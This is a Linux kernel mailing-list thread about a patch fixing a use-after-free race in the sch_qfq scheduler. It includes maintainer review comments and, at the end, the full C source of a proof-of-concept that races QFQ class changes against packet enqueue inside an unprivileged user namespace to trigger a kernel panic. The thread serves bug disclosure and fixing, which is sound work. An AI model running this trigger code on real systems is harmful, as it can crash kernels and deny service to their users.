[PATCH] net/sched: sch_qfq: prevent aggregate self-replacement

[PATCH] net/sched: sch_qfq: prevent aggregate self-replacement

[David Lee]

qfq_change_class() snapshots the current aggregate settings while
holding the qdisc tree lock, but drops the lock before selecting the
destination aggregate. During that gap, qfq_enqueue() can move the
class to an aggregate matching the requested settings.

When qfq_change_class() resumes, qfq_find_agg() then returns cl->agg.
If it is a singleton, qfq_deact_rm_from_agg() frees the aggregate
before qfq_add_to_agg() immediately accesses the same pointer, causing
a use-after-free.

While holding the tree lock, skip the replacement when the destination
is already the current aggregate. Any estimator replacement has already
completed, so the class change can finish normally.

Fixes: 462dbc9101ac ("pkt_sched: QFQ Plus: fair-queueing service at DRR cost")
Bug found and triaged by OpenAI Security Research and 
validated by Trail of Bits.

Assisted-by: Codex:gpt-5.6-sol gpt-5.5-cyber
Signed-off-by: Kyle Zeng <kylebot@openai.com>
---
Trail of Bits has a reproducer for this bug that triggers a
KASAN use-after-free and can share if needed.

 net/sched/sch_qfq.c | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/net/sched/sch_qfq.c b/net/sched/sch_qfq.c
index 6f3b7273c..e900890e9 100644
--- a/net/sched/sch_qfq.c
+++ b/net/sched/sch_qfq.c
@@ -517,11 +517,14 @@ static int qfq_change_class(struct Qdisc *sch, u32 classid, u32 parentid,
 		sch_tree_lock(sch);
 		qfq_init_agg(q, new_agg, lmax, weight);
 	}
+	if (existing && new_agg == cl->agg)
+		goto unlock;
 	if (existing)
 		qfq_deact_rm_from_agg(q, cl);
 	else
 		qdisc_class_hash_insert(&q->clhash, &cl->common);
 	qfq_add_to_agg(q, new_agg, cl);
+unlock:
 	sch_tree_unlock(sch);
 	qdisc_class_hash_grow(sch, &q->clhash);
 
-- 
2.53.0

Re: [PATCH] net/sched: sch_qfq: prevent aggregate self-replacement

[Jamal Hadi Salim]

On Fri, Jul 31, 2026 at 10:05 AM David Lee <david.lee@trailofbits.com> wrote:
>
> qfq_change_class() snapshots the current aggregate settings while
> holding the qdisc tree lock, but drops the lock before selecting the
> destination aggregate. During that gap, qfq_enqueue() can move the
> class to an aggregate matching the requested settings.
>
> When qfq_change_class() resumes, qfq_find_agg() then returns cl->agg.
> If it is a singleton, qfq_deact_rm_from_agg() frees the aggregate
> before qfq_add_to_agg() immediately accesses the same pointer, causing
> a use-after-free.
>
> While holding the tree lock, skip the replacement when the destination
> is already the current aggregate. Any estimator replacement has already
> completed, so the class change can finish normally.
>
> Fixes: 462dbc9101ac ("pkt_sched: QFQ Plus: fair-queueing service at DRR cost")
> Bug found and triaged by OpenAI Security Research and
> validated by Trail of Bits.
>

Please always send a reproducer - either as a tdc test case or if it
is sensitive send it privately to me and Cc the other maintainers.
As trivial as this looks I will not look at it without a repro.

cheers,
jamal

> Assisted-by: Codex:gpt-5.6-sol gpt-5.5-cyber
> Signed-off-by: Kyle Zeng <kylebot@openai.com>
> ---
> Trail of Bits has a reproducer for this bug that triggers a
> KASAN use-after-free and can share if needed.
>
>  net/sched/sch_qfq.c | 3 +++
>  1 file changed, 3 insertions(+)
>
> diff --git a/net/sched/sch_qfq.c b/net/sched/sch_qfq.c
> index 6f3b7273c..e900890e9 100644
> --- a/net/sched/sch_qfq.c
> +++ b/net/sched/sch_qfq.c
> @@ -517,11 +517,14 @@ static int qfq_change_class(struct Qdisc *sch, u32 classid, u32 parentid,
>                 sch_tree_lock(sch);
>                 qfq_init_agg(q, new_agg, lmax, weight);
>         }
> +       if (existing && new_agg == cl->agg)
> +               goto unlock;
>         if (existing)
>                 qfq_deact_rm_from_agg(q, cl);
>         else
>                 qdisc_class_hash_insert(&q->clhash, &cl->common);
>         qfq_add_to_agg(q, new_agg, cl);
> +unlock:
>         sch_tree_unlock(sch);
>         qdisc_class_hash_grow(sch, &q->clhash);
>
> --
> 2.53.0

Re: [PATCH] net/sched: sch_qfq: prevent aggregate self-replacement

[Sven Eckelmann]

[-- Attachment #1: Type: text/plain, Size: 1036 bytes --]

On Friday, 31 July 2026 16:05:32 CEST David Lee wrote:
> Fixes: 462dbc9101ac ("pkt_sched: QFQ Plus: fair-queueing service at DRR cost")
> Bug found and triaged by OpenAI Security Research and 
> validated by Trail of Bits.
> 
> Assisted-by: Codex:gpt-5.6-sol gpt-5.5-cyber
> Signed-off-by: Kyle Zeng <kylebot@openai.com>

1. weird text (advertisement) + newlines in the tags section which shouldn't be there
   https://docs.kernel.org/process/submitting-patches.html#sign-your-work-the-developer-s-certificate-of-origin
   (and all these tag/format related sections below)

2. author didn't sign off the patch (see below)

3. odd unrelated Signed-off-by without any obvious connection to 
   the patch

   - I actually would guess that Kyle Zeng <kylebot@openai.com> is the author 
     and David Lee removed its authorship (From: ) before sending the patch.
     But in its current form, David is claiming to be the author. And even
     when it is the case, David must still add the the non-Author SoB at the
     end.

Regards,
	Sven

[-- Attachment #2: This is a digitally signed message part. --]
[-- Type: application/pgp-signature, Size: 228 bytes --]

Re: [PATCH] net/sched: sch_qfq: prevent aggregate self-replacement

[David Lee]

[-- Attachment #1.1: Type: text/plain, Size: 4087 bytes --]

Hi Jamal,

Reproducer has been attached to this email.

========== Reproduction ==========

1. Build Linux at 82a47586c0b9266622657009aa30573dddf09f53
   with the configuration options listed above and KASAN enabled.
   Use a system with at least two CPUs. If QFQ is configured as a
   module, make sch_qfq available before running the reproducer.

2. Build the attached poc.c:

~
gcc -static -O2 -pthread -Wall -Wextra -o poc poc.c
~

3. Run the resulting binary:

~
./poc
~

The reproducer creates user and network namespaces, brings up the
loopback device, installs a QFQ qdisc and class, and races class
changes against packet enqueue. Race timing varies between systems.
On the validated KASAN kernel, the expected result is a
slab-use-after-free report in qfq_add_to_agg(), followed by a kernel
panic. The full observed output is attached as splash.txt.

he issue was reproduced on Linux 7.2-rc3 at:

82a47586c0b9266622657009aa30573dddf09f53

It is also present in Linux 7.2-rc5 at:

f5098b6bae761e346ebcd9da7f95622c04733cff

As of July 27, 2026, the vulnerable sequence remains in upstream
master at:

62cc90241548d5570ee68e01aaba6506964e9811
https://github.com/torvalds/linux/commit/62cc90241548d5570ee68e01aaba6506964e9811

Required configuration:

* CONFIG_NET_SCHED
* CONFIG_NET_SCH_QFQ

The attached reproducer additionally requires:

* CONFIG_USER_NS
* CONFIG_NET_NS
* CONFIG_INET

KASAN is recommended to observe the first invalid access.

Regarding the format, I can send v2 if the reproducer looks good on your
end.

Thank you.

Best regards,
David

On Fri, Jul 31, 2026 at 12:33 PM Jamal Hadi Salim <jhs@mojatatu.com> wrote:

> On Fri, Jul 31, 2026 at 10:05 AM David Lee <david.lee@trailofbits.com>
> wrote:
> >
> > qfq_change_class() snapshots the current aggregate settings while
> > holding the qdisc tree lock, but drops the lock before selecting the
> > destination aggregate. During that gap, qfq_enqueue() can move the
> > class to an aggregate matching the requested settings.
> >
> > When qfq_change_class() resumes, qfq_find_agg() then returns cl->agg.
> > If it is a singleton, qfq_deact_rm_from_agg() frees the aggregate
> > before qfq_add_to_agg() immediately accesses the same pointer, causing
> > a use-after-free.
> >
> > While holding the tree lock, skip the replacement when the destination
> > is already the current aggregate. Any estimator replacement has already
> > completed, so the class change can finish normally.
> >
> > Fixes: 462dbc9101ac ("pkt_sched: QFQ Plus: fair-queueing service at DRR
> cost")
> > Bug found and triaged by OpenAI Security Research and
> > validated by Trail of Bits.
> >
>
> Please always send a reproducer - either as a tdc test case or if it
> is sensitive send it privately to me and Cc the other maintainers.
> As trivial as this looks I will not look at it without a repro.
>
> cheers,
> jamal
>
> > Assisted-by: Codex:gpt-5.6-sol gpt-5.5-cyber
> > Signed-off-by: Kyle Zeng <kylebot@openai.com>
> > ---
> > Trail of Bits has a reproducer for this bug that triggers a
> > KASAN use-after-free and can share if needed.
> >
> >  net/sched/sch_qfq.c | 3 +++
> >  1 file changed, 3 insertions(+)
> >
> > diff --git a/net/sched/sch_qfq.c b/net/sched/sch_qfq.c
> > index 6f3b7273c..e900890e9 100644
> > --- a/net/sched/sch_qfq.c
> > +++ b/net/sched/sch_qfq.c
> > @@ -517,11 +517,14 @@ static int qfq_change_class(struct Qdisc *sch, u32
> classid, u32 parentid,
> >                 sch_tree_lock(sch);
> >                 qfq_init_agg(q, new_agg, lmax, weight);
> >         }
> > +       if (existing && new_agg == cl->agg)
> > +               goto unlock;
> >         if (existing)
> >                 qfq_deact_rm_from_agg(q, cl);
> >         else
> >                 qdisc_class_hash_insert(&q->clhash, &cl->common);
> >         qfq_add_to_agg(q, new_agg, cl);
> > +unlock:
> >         sch_tree_unlock(sch);
> >         qdisc_class_hash_grow(sch, &q->clhash);
> >
> > --
> > 2.53.0
>

[-- Attachment #1.2: Type: text/html, Size: 5116 bytes --]

[-- Attachment #2: poc.c --]
[-- Type: application/octet-stream, Size: 8441 bytes --]

#define _GNU_SOURCE

#include <arpa/inet.h>
#include <errno.h>
#include <linux/gen_stats.h>
#include <linux/netlink.h>
#include <linux/pkt_sched.h>
#include <linux/rtnetlink.h>
#include <net/if.h>
#include <pthread.h>
#include <sched.h>
#include <stdarg.h>
#include <stdatomic.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <unistd.h>

#define QDISC_HANDLE 0x10000U
#define CLASS_HANDLE 0x10001U
#define TARGET_LMAX 1500U
#define UDP_PAYLOAD_LEN 1458
#define ITERATIONS 50000U
#define MAX_DELAY 4096U

struct nl_req {
	char buf[4096];
	struct nlmsghdr *nlh;
};

struct race_ctx {
	atomic_uint go;
	atomic_uint done;
	int sender;
	int receiver;
	char packet[UDP_PAYLOAD_LEN];
};

static uint32_t nl_seq;

static void die(const char *fmt, ...)
{
	va_list ap;

	va_start(ap, fmt);
	vfprintf(stderr, fmt, ap);
	va_end(ap);
	fprintf(stderr, ": %s\n", strerror(errno));
	exit(1);
}

static void expect_ok(int ret, const char *what)
{
	if (ret < 0) {
		errno = -ret;
		die("%s", what);
	}
}

static void init_req(struct nl_req *req, uint16_t type, uint16_t flags,
		     size_t payload_len)
{
	memset(req, 0, sizeof(*req));
	req->nlh = (struct nlmsghdr *)req->buf;
	req->nlh->nlmsg_len = NLMSG_LENGTH(payload_len);
	req->nlh->nlmsg_type = type;
	req->nlh->nlmsg_flags = flags;
}

static void addattr(struct nl_req *req, uint16_t type, const void *data,
		    size_t len)
{
	size_t offset = NLMSG_ALIGN(req->nlh->nlmsg_len);
	size_t attr_len = RTA_LENGTH(len);
	struct rtattr *rta;

	if (offset + RTA_ALIGN(attr_len) > sizeof(req->buf)) {
		errno = E2BIG;
		die("netlink attribute overflow");
	}

	rta = (struct rtattr *)(req->buf + offset);
	rta->rta_type = type;
	rta->rta_len = attr_len;
	memcpy(RTA_DATA(rta), data, len);
	req->nlh->nlmsg_len = offset + RTA_ALIGN(attr_len);
}

static struct rtattr *nest_start(struct nl_req *req, uint16_t type)
{
	size_t offset = NLMSG_ALIGN(req->nlh->nlmsg_len);
	struct rtattr *rta;

	if (offset + RTA_ALIGN(RTA_LENGTH(0)) > sizeof(req->buf)) {
		errno = E2BIG;
		die("netlink nest overflow");
	}

	rta = (struct rtattr *)(req->buf + offset);
	rta->rta_type = type;
	rta->rta_len = RTA_LENGTH(0);
	req->nlh->nlmsg_len = offset + RTA_ALIGN(rta->rta_len);
	return rta;
}

static void nest_end(struct nl_req *req, struct rtattr *rta)
{
	rta->rta_len = (char *)req->buf + req->nlh->nlmsg_len - (char *)rta;
}

static int nl_open(void)
{
	struct sockaddr_nl addr = {
		.nl_family = AF_NETLINK,
	};
	int fd;

	fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE);
	if (fd < 0)
		die("socket NETLINK_ROUTE");
	if (bind(fd, (struct sockaddr *)&addr, sizeof(addr)) < 0)
		die("bind NETLINK_ROUTE");
	return fd;
}

static int nl_talk(int fd, struct nl_req *req)
{
	struct sockaddr_nl nladdr = {
		.nl_family = AF_NETLINK,
	};
	char buf[8192];
	struct iovec iov;
	struct msghdr msg;
	ssize_t n;

	req->nlh->nlmsg_seq = ++nl_seq;
	iov.iov_base = req->nlh;
	iov.iov_len = req->nlh->nlmsg_len;
	memset(&msg, 0, sizeof(msg));
	msg.msg_name = &nladdr;
	msg.msg_namelen = sizeof(nladdr);
	msg.msg_iov = &iov;
	msg.msg_iovlen = 1;
	if (sendmsg(fd, &msg, 0) < 0)
		return -errno;

	for (;;) {
		struct nlmsghdr *nlh;
		int rem;

		n = recv(fd, buf, sizeof(buf), 0);
		if (n < 0)
			return -errno;
		for (nlh = (struct nlmsghdr *)buf, rem = (int)n;
		     NLMSG_OK(nlh, rem); nlh = NLMSG_NEXT(nlh, rem)) {
			struct nlmsgerr *err;

			if (nlh->nlmsg_seq != req->nlh->nlmsg_seq)
				continue;
			if (nlh->nlmsg_type != NLMSG_ERROR)
				continue;
			err = (struct nlmsgerr *)NLMSG_DATA(nlh);
			return err->error;
		}
	}
}

static int qdisc_add(int fd, int ifindex)
{
	struct nl_req req;
	struct tcmsg *tcm;
	const char kind[] = "qfq";

	init_req(&req, RTM_NEWQDISC,
		 NLM_F_REQUEST | NLM_F_ACK | NLM_F_CREATE | NLM_F_EXCL,
		 sizeof(*tcm));
	tcm = NLMSG_DATA(req.nlh);
	tcm->tcm_family = AF_UNSPEC;
	tcm->tcm_ifindex = ifindex;
	tcm->tcm_handle = QDISC_HANDLE;
	tcm->tcm_parent = TC_H_ROOT;
	addattr(&req, TCA_KIND, kind, sizeof(kind));
	return nl_talk(fd, &req);
}

static int class_change(int fd, int ifindex, uint32_t lmax, bool create,
			bool add_rate)
{
	struct nl_req req;
	struct tcmsg *tcm;
	struct rtattr *opts;
	struct gnet_estimator est = {
		.interval = -2,
		.ewma_log = 1,
	};
	uint32_t weight = 1;
	uint16_t flags = NLM_F_REQUEST | NLM_F_ACK;

	if (create)
		flags |= NLM_F_CREATE | NLM_F_EXCL;
	init_req(&req, RTM_NEWTCLASS, flags, sizeof(*tcm));
	tcm = NLMSG_DATA(req.nlh);
	tcm->tcm_family = AF_UNSPEC;
	tcm->tcm_ifindex = ifindex;
	tcm->tcm_handle = CLASS_HANDLE;
	tcm->tcm_parent = QDISC_HANDLE;
	opts = nest_start(&req, TCA_OPTIONS);
	addattr(&req, TCA_QFQ_WEIGHT, &weight, sizeof(weight));
	addattr(&req, TCA_QFQ_LMAX, &lmax, sizeof(lmax));
	nest_end(&req, opts);
	if (add_rate)
		addattr(&req, TCA_RATE, &est, sizeof(est));
	return nl_talk(fd, &req);
}

static void setup_namespace(void)
{
	if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0)
		die("unshare");
}

static int setup_loopback(void)
{
	struct ifreq ifr;
	int fd;
	int ifindex;

	fd = socket(AF_INET, SOCK_DGRAM, 0);
	if (fd < 0)
		die("socket AF_INET");
	memset(&ifr, 0, sizeof(ifr));
	strncpy(ifr.ifr_name, "lo", IFNAMSIZ - 1);
	if (ioctl(fd, SIOCGIFFLAGS, &ifr) < 0)
		die("SIOCGIFFLAGS");
	ifr.ifr_flags |= IFF_UP;
	if (ioctl(fd, SIOCSIFFLAGS, &ifr) < 0)
		die("SIOCSIFFLAGS");
	close(fd);

	ifindex = if_nametoindex("lo");
	if (ifindex == 0)
		die("if_nametoindex");
	return ifindex;
}

static int setup_udp(int *receiver)
{
	struct sockaddr_in addr = {
		.sin_family = AF_INET,
		.sin_addr.s_addr = htonl(INADDR_LOOPBACK),
		.sin_port = 0,
	};
	socklen_t addrlen = sizeof(addr);
	int sender;
	int priority = CLASS_HANDLE;

	*receiver = socket(AF_INET, SOCK_DGRAM, 0);
	if (*receiver < 0)
		die("receiver socket");
	if (bind(*receiver, (struct sockaddr *)&addr, sizeof(addr)) < 0)
		die("receiver bind");
	if (getsockname(*receiver, (struct sockaddr *)&addr, &addrlen) < 0)
		die("receiver getsockname");

	sender = socket(AF_INET, SOCK_DGRAM, 0);
	if (sender < 0)
		die("sender socket");
	if (setsockopt(sender, SOL_SOCKET, SO_PRIORITY, &priority,
		       sizeof(priority)) < 0)
		die("SO_PRIORITY");
	if (connect(sender, (struct sockaddr *)&addr, sizeof(addr)) < 0)
		die("sender connect");
	return sender;
}

static void pin_cpu(int cpu)
{
	cpu_set_t set;

	CPU_ZERO(&set);
	CPU_SET(cpu, &set);
	if (sched_setaffinity(0, sizeof(set), &set) < 0)
		die("sched_setaffinity");
}

static void spin_delay(unsigned int count)
{
	while (count--)
		asm volatile("pause" ::: "memory");
}

static void *sender_thread(void *arg)
{
	struct race_ctx *ctx = arg;
	unsigned int i;

	pin_cpu(1);
	for (i = 1; i <= ITERATIONS; i++) {
		char drain[2048];

		while (atomic_load_explicit(&ctx->go, memory_order_acquire) != i)
			asm volatile("pause" ::: "memory");
		spin_delay(i % MAX_DELAY);
		if (send(ctx->sender, ctx->packet, sizeof(ctx->packet), 0) < 0)
			die("send");
		while (recv(ctx->receiver, drain, sizeof(drain), MSG_DONTWAIT) > 0)
			;
		atomic_store_explicit(&ctx->done, i, memory_order_release);
	}
	return NULL;
}

int main(void)
{
	struct race_ctx ctx;
	pthread_t thread;
	int nl;
	int ifindex;
	int ret;
	int thread_ret;
	unsigned int i;

	memset(&ctx, 0, sizeof(ctx));
	memset(ctx.packet, 'A', sizeof(ctx.packet));
	setup_namespace();
	ifindex = setup_loopback();
	nl = nl_open();
	expect_ok(qdisc_add(nl, ifindex), "add qfq qdisc");
	expect_ok(class_change(nl, ifindex, 512, true, false),
		  "create qfq class");
	ctx.sender = setup_udp(&ctx.receiver);

	pin_cpu(0);
	thread_ret = pthread_create(&thread, NULL, sender_thread, &ctx);
	if (thread_ret != 0) {
		errno = thread_ret;
		die("pthread_create");
	}

	/*
	 * The estimator attribute makes the post-snapshot part of
	 * qfq_change_class() long enough for the packet enqueue on CPU 1 to
	 * migrate the class to the requested (weight=1, lmax=1500) aggregate.
	 */
	for (i = 1; i <= ITERATIONS; i++) {
		expect_ok(class_change(nl, ifindex, 512, false, false),
			  "reset qfq class");
		atomic_store_explicit(&ctx.go, i, memory_order_release);
		ret = class_change(nl, ifindex, TARGET_LMAX, false, true);
		expect_ok(ret, "change qfq class");
		while (atomic_load_explicit(&ctx.done, memory_order_acquire) != i)
			asm volatile("pause" ::: "memory");
	}

	pthread_join(thread, NULL);
	close(ctx.sender);
	close(ctx.receiver);
	close(nl);
	return 0;
}